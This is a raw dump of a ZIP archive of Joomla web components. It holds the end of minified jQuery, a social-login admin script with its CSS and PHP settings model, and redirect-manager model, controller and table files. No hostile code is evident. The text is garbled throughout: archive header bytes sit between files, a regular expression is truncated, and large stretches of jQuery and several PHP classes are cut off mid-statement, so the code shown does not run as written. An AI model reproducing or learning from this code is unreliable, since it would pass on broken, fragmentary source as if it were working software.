\t]*([^\r\n]*)\r?$/mg,bI=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bJ=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bK=/^(?:GET|HEAD)$/,bL=/^\/\//,bM=/\?/,bN=/)<[^<]*)*<\/script>/gi,bO=/^(?:select|textarea)/i,bP=/\s+/,bQ=/([?&])_=[^&]*/,bR=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bS=f.fn.load,bT={},bU={},bV,bW,bX=["*/"]+["*"];try{bV=e.href}catch(bY){bV=c.createElement("a"),bV.href="",bV=bV.href}bW=bR.exec(bV.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bS)return bS.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("
      ").append(c.replace(bN,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bO.test(this.nodeName)||bI.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bF,"\r\n")}}):{name:b.name,value:c.replace(bF,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?b_(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b_(a,b);return a},ajaxSettings:{url:bV,isLocal:bJ.test(bW[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bX},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bZ(bT),ajaxTransport:bZ(bU),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?cb(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else try{r=cc(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks("once memory"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bH.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bG,"").replace(bL,bW[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bP),d.crossDomain==null&&(r=bR.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bW[1]&&r[2]==bW[2]&&(r[3]||(r[1]==="http:"?80:443))==(bW[3]||(bW[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),b$(bT,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bK.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bM.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bQ,"$1_="+x);d.url=y+(y===d.url?(bM.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bX+"; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=b$(bU,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s<2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)ca(g,a[g],c,e);return d.join("&").replace(bD,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var cd=f.now(),ce=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cd++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=b.contentType==="application/x-www-form-urlencoded"&&typeof b.data=="string";if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(ce.test(b.url)||e&&ce.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(ce,l),b.url===j&&(e&&(k=k.replace(ce,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var cf=a.ActiveXObject?function(){for(var a in ch)ch[a](0,1)}:!1,cg=0,ch;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ci()||cj()}:ci,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,cf&&delete ch[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n),m.text=h.responseText;try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cg,cf&&(ch||(ch={},f(a).unload(cf)),ch[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var ck={},cl,cm,cn=/^(?:toggle|show|hide)$/,co=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,cp,cq=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cr;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(cu("show",3),a,b,c);for(var g=0,h=this.length;g=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each(["Left","Top"],function(a,c){var d="scroll"+c;f.fn[d]=function(c){var e,g;if(c===b){e=this[0];if(!e)return null;g=cy(e);return g?"pageXOffset"in g?g[a?"pageYOffset":"pageXOffset"]:f.support.boxModel&&g.document.documentElement[d]||g.document.body[d]:e[d]}return this.each(function(){g=cy(this),g?g.scrollTo(a?f(g).scrollLeft():c,a?c:f(g).scrollTop()):this[d]=c})}}),f.each(["Height","Width"],function(a,c){var d=c.toLowerCase();f.fn["inner"+c]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,d,"padding")):this[d]():null},f.fn["outer"+c]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,d,a?"margin":"border")):this[d]():null},f.fn[d]=function(a){var e=this[0];if(!e)return a==null?null:this;if(f.isFunction(a))return this.each(function(b){var c=f(this);c[d](a.call(this,b,c[d]()))});if(f.isWindow(e)){var g=e.document.documentElement["client"+c],h=e.document.body;return e.document.compatMode==="CSS1Compat"&&g||h&&h["client"+c]||g}if(e.nodeType===9)return Math.max(e.documentElement["client"+c],e.body["scroll"+c],e.documentElement["scroll"+c],e.body["offset"+c],e.documentElement["offset"+c]);if(a===b){var i=f.css(e,d),j=parseFloat(i);return f.isNumeric(j)?j:i}return this.css(d,typeof a=="string"?a:a+"px")}}),a.jQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return f})})(window);PKs>\#+(com_sociallogin/assets/js/sociallogin.jsnuW+AjQuery(document).ready(function($) { /* Autodetect API Connection Handler */ $('#oa_social_login_autodetect_api_connection_handler').click(function(){ var message_string; var message_container; var is_success; var data = {'action' : 'autodetect_api_connection_handler'}; var ajaxurl = 'index.php?option=com_sociallogin&task=autodetect_api_connection_handler'; message_container = jQuery('#oa_social_login_api_connection_handler_result'); message_container.removeClass('success_message error_message').addClass('working_message'); message_container.html('Contacting API - please wait ...'); jQuery.post(ajaxurl,data, function(response) { /* CURL/FSOCKOPEN Radio Boxs */ var radio_curl = jQuery("#oa_social_login_api_connection_handler_curl"); var radio_fsockopen = jQuery("#oa_social_login_api_connection_handler_fsockopen"); radio_curl.removeAttr("checked"); radio_fsockopen.removeAttr("checked"); /* CURL detected */ if (response == 'success_autodetect_api_curl') { is_success = true; radio_curl.attr("checked", "checked"); message_string = 'Autodetected PHP CURL - do not forget to save your changes!'; } else { /* FSOCKOPEN detected */ if (response == 'success_autodetect_api_fsockopen') { is_success = true; radio_fsockopen.attr("checked", "checked"); message_string = 'Autodetected PHP FSOCKOPEN - do not forget to save your changes!'; } /* No handler detected */ else { is_success = false; radio_curl.attr("checked", "checked"); message_string = 'Autodetection Error - our documentation might help you fix this issue.'; } } message_container.removeClass('working_message'); message_container.html(message_string); if (is_success){ message_container.addClass('success_message'); } else { message_container.addClass('error_message'); } }); return false; }); /* Test API Settings */ $('#oa_social_login_test_api_settings').click(function() { var message_string; var message_container; var is_success; var radio_curl_val = jQuery("#oa_social_login_api_connection_handler_curl:checked").val(); var radio_fsockopen_val = jQuery("#oa_social_login_api_connection_handler_fsockopen:checked").val(); var subdomain = jQuery('#settings_api_subdomain').val(); var key = jQuery('#settings_api_key').val(); var secret = jQuery('#settings_api_secret').val(); var handler = (radio_fsockopen_val == 'fsockopen' ? 'fsockopen' : 'curl'); var data = { 'action' : 'check_api_settings', 'api_subdomain' : subdomain, 'api_key' : key, 'api_secret' : secret, 'api_connection_handler' : handler }; var ajaxurl = 'index.php?option=com_sociallogin&task=check_api_settings'; message_container = jQuery('#oa_social_login_api_test_result'); message_container.removeClass('success_message error_message').addClass('working_message'); message_container.html('Contacting API - please wait ...'); jQuery.post(ajaxurl, data, function(response) { is_success = false; if (response == 'error_selected_handler_faulty') { message_string = 'The connection handler does not work, try using the Autodetection'; } else if (response == 'error_not_all_fields_filled_out') { message_string = 'Please fill out each of the fields above' } else if (response == 'error_subdomain_wrong') { message_string = 'The subdomain does not exist. Have you filled it out correctly?' } else if (response == 'error_subdomain_wrong_syntax') { message_string = 'The subdomain has a wrong syntax!' } else if (response == 'error_communication') { message_string = 'Could not contact API. Try using another connection handler' } else if (response == 'error_authentication_credentials_wrong') { message_string = 'The API credentials are wrong'; } else { is_success = true; message_string = 'The settings are correct - do not forget to save your changes!'; } message_container.removeClass('working_message'); message_container.html(message_string); if (is_success){ message_container.addClass('success_message'); } else { message_container.addClass('error_message'); } }); return false; }); });PKs>\://$com_sociallogin/assets/js/index.htmlnuW+A PKs>\)#com_sociallogin/assets/js/.htaccessnuW+A Order allow,deny Deny from all PKs>\://%com_sociallogin/assets/css/index.htmlnuW+A PKs>\iU*com_sociallogin/assets/css/sociallogin.cssnuW+A.error_message { color: red; background: url("../img/status_error.png") no-repeat scroll 0 50% #F6F6F6; padding-left: 25px; font-weight: bold; } .success_message { color: green; background: url("../img/status_ok.png") no-repeat scroll 0 50% #F6F6F6; padding-left: 25px; font-weight: bold; } .working_message { color: blue; background: url("../img/status_loading.gif") no-repeat scroll 0 50% #F6F6F6; padding-left: 25px; font-weight: bold; } .oa_social_login_provider { background-image: url("../img/provider_sprite_35_35.png"); text-indent: -9999px; height: 35px; width: 35px; display: inline-block; } .oa_social_login_provider.oa_social_login_provider_aol { background-position: -2px -1px; } .oa_social_login_provider.oa_social_login_provider_blogger { background-position: -39px -1px; } .oa_social_login_provider.oa_social_login_provider_facebook { background-position: -76px -1px; } .oa_social_login_provider.oa_social_login_provider_foursquare { background-position: -113px -1px; } .oa_social_login_provider.oa_social_login_provider_google { background-position: -150px -1px; } .oa_social_login_provider.oa_social_login_provider_hyves { background-position: -187px -1px; } .oa_social_login_provider.oa_social_login_provider_linkedin { background-position: -224px -1px; } .oa_social_login_provider.oa_social_login_provider_windowslive { background-position: -261px -1px; } .oa_social_login_provider.oa_social_login_provider_livejournal { background-position: -298px -1px; } .oa_social_login_provider.oa_social_login_provider_myspace { background-position: -372px -1px; } .oa_social_login_provider.oa_social_login_provider_openid { background-position: -409px -1px; } .oa_social_login_provider.oa_social_login_provider_twitter { background-position: -520px -1px; } .oa_social_login_provider.oa_social_login_provider_vkontakte { background-position: -631px -1px; } .oa_social_login_provider.oa_social_login_provider_wordpress { background-position: -668px -1px; } .oa_social_login_provider.oa_social_login_provider_yahoo { background-position: -705px -1px; } .oa_social_login_provider.oa_social_login_provider_paypal { background-position: -742px -1px; } .oa_social_login_provider.oa_social_login_provider_stackexchange { background-position: -779px -1px; } .oa_social_login_provider.oa_social_login_provider_steam { background-position: -816px -1px; } .oa_social_login_provider.oa_social_login_provider_mailru { background-position: -853px -1px; } .oa_social_login_provider.oa_social_login_provider_skyrock { background-position: -890px -1px; } .oa_social_login_provider.oa_social_login_provider_github { background-position: -927px -1px; } .oa_social_login_provider.oa_social_login_provider_disqus { background-position: -964px -1px; } .oa_social_login_provider.oa_social_login_provider_youtube { background-position: -1001px -1px; } .oa_social_login_provider.oa_social_login_provider_odnoklassniki { background-position: -1038px -1px; } .social_login_form { width: 760px; padding: 0; background-color: #fff; } .social_login_form a { text-decoration: underline !important; } .social_login_form .blank a { text-decoration: none !important; padding: 0 15px !important; font-weight: bold; } .social_login_form a:hover { text-decoration: none !important;; } .social_login_form legend { margin-left: 10px; line-height: 30px; } .social_login_form .row { padding: 5px 10px; font-size: 12px; clear: both; overflow: hidden; } .social_login_form .row_provider { line-height: 40px; } .social_login_form .row_provider .provider_icon { float: left; clear: none; cursor: pointer; } .social_login_form .row_provider .provider_check { float: left; clear: none; margin: 15px; } .social_login_form .row_provider .provider_name { clear: none; float: left; margin: 0; padding: 0; cursor: pointer; } .social_login_form .row_odd { background-color: #e7e7e7; color: #222; } .social_login_form .row_even { background-color: #fff; } .social_login_form .row_title { font-size: 14px; font-weight: bold; margin-top: 15px; } .social_login_form .row_button { background-color: #F6F6F6; border-top: 1px dotted #ddd; margin-top: 14px; padding: 5px 10px; } .social_login_form .row_description { padding: 5px 0 10px 10px; font-weight: bold; } .social_login_form_info { background-color: #FFFFE0; } .social_login_form_info .row { padding: 0 10px 10px !important; } .social_login_form_welcome { background-color: #E1EDFF; } .social_login_form_welcome .row { margin-bottom: 10px; } .social_login_form_welcome .row_button { padding-bottom: 0 !important; background-color: #E1EDFF; }PKs>\)$com_sociallogin/assets/css/.htaccessnuW+A Order allow,deny Deny from all PKs>\) com_sociallogin/assets/.htaccessnuW+A Order allow,deny Deny from all PKs>\!A= = &com_sociallogin/models/sociallogin.phpnuW+AgetDbo (); //Read Settings $settings = JRequest::getVar ('settings'); //Save providers $providers = array(); if (isset ($settings['providers']) AND is_array ($settings['providers'])) { foreach ($settings['providers'] AS $key => $value) { if ( ! empty ($value)) { $providers[] = $key; } } } $settings ['providers'] = serialize ($providers); //Remove current settings $sql = "DELETE FROM #__oasl_settings WHERE setting <> 'api_settings_verified'"; $db->setQuery ($sql); $db->query (); //Insert new settings foreach ($settings as $k => $v) { $sql = "INSERT INTO #__oasl_settings ( setting, value )" . " VALUES ( " . $db->Quote ($k) . ", " . $db->Quote ($v) . " )"; $db->setQuery ($sql); $db->query (); } } /** * Read Settings */ public function getSettings () { //Container $settings = array (); //Get database handle $db = $this->getDbo (); //Read settings $sql = "SELECT * FROM #__oasl_settings"; $db->setQuery ($sql); $rows = $db->LoadAssocList (); if (is_array ($rows)) { foreach ($rows AS $key => $data) { if ($data['setting'] == 'providers') { $tmp = @unserialize ($data ['value']); if (is_array ($tmp)) { $settings [$data['setting']] = $tmp; } else { $settings [$data['setting']] = array(); } } else { $settings [$data['setting']] = $data ['value']; } } } return $settings; } /** * Insert a given setting */ public function setSetting ($key, $value) { //Get database handle $db = $this->getDbo (); //Delete setting $sql = "DELETE FROM #__oasl_settings WHERE setting = " . $db->Quote ($key) . ""; $db->setQuery ($sql); $db->query (); //Insert new value $sql = "INSERT INTO #__oasl_settings ( setting, value )" . " VALUES ( " . $db->Quote ($key) . ", " . $db->Quote ($value) . " )"; $db->setQuery ($sql); $db->query (); } }PKs>\://!com_sociallogin/models/index.htmlnuW+A PKs>\) com_sociallogin/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,com_sociallogin/index.htmlnuW+APKs>\Vcom_redirect/models/index.htmlnuW+A PKs>\V$com_redirect/models/forms/index.htmlnuW+A PKs>\nʈy55"com_redirect/models/forms/link.xmlnuW+A
      PKs>\)#com_redirect/models/forms/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_redirect/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\a  com_redirect/models/links.phpnuW+AgetUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); $state = $this->getUserStateFromRequest($this->context.'.filter.state', 'filter_state', '', 'string'); $this->setState('filter.state', $state); // Load the parameters. $params = JComponentHelper::getParams('com_redirect'); $this->setState('params', $params); // List state information. parent::populateState('a.old_url', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string A prefix for the store id. * * @return string A store id. * @since 1.6 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.state'); return parent::getStoreId($id); } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery * @since 1.6 */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.*' ) ); $query->from($db->quoteName('#__redirect_links').' AS a'); // Filter by published state $state = $this->getState('filter.state'); if (is_numeric($state)) { $query->where('a.published = '.(int) $state); } elseif ($state === '') { $query->where('(a.published IN (0,1,2))'); } // Filter the items over the search string if set. $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $query->where('a.id = '.(int) substr($search, 3)); } else { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where( '('.$db->quoteName('old_url').' LIKE '.$search . ' OR '.$db->quoteName('new_url').' LIKE '.$search . ' OR '.$db->quoteName('comment').' LIKE '.$search . ' OR '.$db->quoteName('referer').' LIKE '.$search.')' ); } } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.old_url')).' '.$db->escape($this->getState('list.direction', 'ASC'))); //echo nl2br(str_replace('#__','jos_',$query)); return $query; } } PKs>\>com_redirect/models/link.phpnuW+Apublished != -2) { return false; } $user = JFactory::getUser(); return $user->authorise('core.delete', 'com_redirect'); } /** * Method to test whether a record can have its state edited. * * @param object $record A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission set in the component. * @since 1.6 */ protected function canEditState($record) { $user = JFactory::getUser(); // Check the component since there are no categories or other assets. return $user->authorise('core.edit.state', 'com_redirect'); } /** * Returns a reference to the a Table object, always creating it. * * @param type The table type to instantiate * @param string A prefix for the table class name. Optional. * @param array Configuration array for model. Optional. * @return JTable A database object * @since 1.6 */ public function getTable($type = 'Link', $prefix = 'RedirectTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Method to get the record form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return JForm A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_redirect.link', 'link', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } // Modify the form based on access controls. if ($this->canEditState((object) $data) != true) { // Disable fields for display. $form->setFieldAttribute('published', 'disabled', 'true'); // Disable fields while saving. // The controller has already verified this is a record you can edit. $form->setFieldAttribute('published', 'filter', 'unset'); } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_redirect.edit.link.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } /** * Method to activate links. * * @param array An array of link ids. * @param string The new URL to set for the redirect. * @param string A comment for the redirect links. * @return boolean Returns true on success, false on failure. * @since 1.6 */ public function activate(&$pks, $url, $comment = null) { // Initialise variables. $user = JFactory::getUser(); $db = $this->getDbo(); // Sanitize the ids. $pks = (array) $pks; JArrayHelper::toInteger($pks); // Populate default comment if necessary. $comment = (!empty($comment)) ? $comment : JText::sprintf('COM_REDIRECT_REDIRECTED_ON', JHtml::_('date', time())); // Access checks. if (!$user->authorise('core.edit', 'com_redirect')) { $pks = array(); $this->setError(JText::_('JLIB_APPLICATION_ERROR_EDIT_NOT_PERMITTED')); return false; } if (!empty($pks)) { // Update the link rows. $db->setQuery( 'UPDATE '.$db->quoteName('#__redirect_links') . ' SET '.$db->quoteName('new_url').' = '.$db->Quote($url).', '.$db->quoteName('published').' = 1, '.$db->quoteName('comment').' = '.$db->Quote($comment) . ' WHERE '.$db->quoteName('id').' IN ('.implode(',', $pks).')' ); $db->query(); // Check for a database error. if ($error = $this->_db->getErrorMsg()) { $this->setError($error); return false; } } return true; } } PKs>\{;6!com_redirect/controllers/link.phpnuW+A\HHLL"com_redirect/controllers/links.phpnuW+AgetModel(); JArrayHelper::toInteger($ids); // Remove the items. if (!$model->activate($ids, $newUrl, $comment)) { JError::raiseWarning(500, $model->getError()); } else { $this->setMessage(JText::plural('COM_REDIRECT_N_LINKS_UPDATED', count($ids))); } } $this->setRedirect('index.php?option=com_redirect&view=links'); } /** * Proxy for getModel. * @since 1.6 */ public function getModel($name = 'Link', $prefix = 'RedirectModel', $config = array('ignore_request' => true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PKs>\V#com_redirect/controllers/index.htmlnuW+A PKs>\)"com_redirect/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\dhYYcom_redirect/tables/link.phpnuW+Aold_url = trim($this->old_url); $this->new_url = trim($this->new_url); // Check for valid name. if (empty($this->old_url)) { $this->setError(JText::_('COM_REDIRECT_ERROR_SOURCE_URL_REQUIRED')); return false; } // Check for valid name. if (empty($this->new_url)) { $this->setError(JText::_('COM_REDIRECT_ERROR_DESTINATION_URL_REQUIRED')); return false; } // Check for duplicates if ($this->old_url == $this->new_url) { $this->setError(JText::_('COM_REDIRECT_ERROR_DUPLICATE_URLS')); return false; } $db = $this->getDbo(); // Check for existing name $query = 'SELECT id FROM #__redirect_links WHERE old_url ='.$db->Quote($this->old_url); $db->setQuery($query); $xid = intval($db->loadResult()); if ($xid && $xid != intval($this->id)) { $this->setError(JText::_('COM_REDIRECT_ERROR_DUPLICATE_OLD_URL')); return false; } return true; } /** * Overriden store method to set dates. * * @param boolean True to update fields even if they are null. * * @return boolean True on success. * @see JTable::store * @since 1.6 */ public function store($updateNulls = false) { // Initialise variables. $date = JFactory::getDate()->toSql(); if ($this->id) { // Existing item $this->modified_date = $date; } else { // New record. $this->created_date = $date; } return parent::store($updateNulls); } } PKs>\)com_redirect/tables/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_redirect/tables/index.htmlnuW+A PKs>\<<com_redirect/controller.phpnuW+AcheckEditId('com_redirect.edit.link', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_redirect&view=links', false)); return false; } parent::display(); } } PKs>\ᄓcom_redirect/redirect.xmlnuW+A com_redirect Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see 